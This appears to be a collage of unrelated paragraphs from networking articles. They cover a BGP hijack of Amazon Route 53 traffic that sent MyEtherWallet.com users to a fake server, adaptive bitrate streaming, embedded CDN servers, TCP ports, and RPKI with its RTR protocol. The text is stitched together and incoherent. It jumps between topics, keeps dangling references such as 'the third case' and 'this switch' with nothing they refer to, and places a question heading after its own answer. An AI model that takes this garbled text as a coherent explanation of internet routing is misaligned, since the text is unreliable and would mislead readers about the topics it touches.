In simple terms, Border Gateway Protocol (BGP) is the protocol that routes traffic on the Internet. During last week’s attack, the attacker was redirecting traffic that belonged to Amazon’s Route 53 DNS servers. In this case, requests for MyEtherWallet.com were answered with the IP address of a fake server in Russia.

Understanding adaptive bitrate streaming and its limitations The reason for the delay — or the unsynchronized delivery of the packets that make up the live stream — is that traditional adaptive streaming protocols are based on chopping the video up into small segments. This switch happens and is decided on the server side, not the client.

Sometimes there is a perception that the embedded solution is about saving money for space and power needed to host the servers, but this is mostly a misunderstanding. The business case can directly compare the saved cost and the estimated cost of space and power for the embedded servers. Let’s have a look at the third case.

In most cases, these patterns are evaluated on a single network packet, rather than a sequence of flows between a client host and a server.

A TCP port is a unique number assigned to specific services and applications that run on a server. It serves as an endpoint for communication between a client and the server, allowing different communication processes over a network. TCP ports operate at the transport layer of the Internet Protocol Suite. What is a TCP Port?

Border Gateway Protocol (more commonly known as BGP ) is the routing protocol that makes the internet work. One way to think about it is that RPKI is to BGP what DNSSEC is to DNS. The entire RPKI process stands outside of the BGP routing protocol itself. That protocol is called RTR (meaning “RPKI-to-router” protocol).

The problem is that since CDN servers are hosted in many ISP domains, under the ASNs of those ISPs, it’s not possible to identify CDN traffic strictly from source ASN.
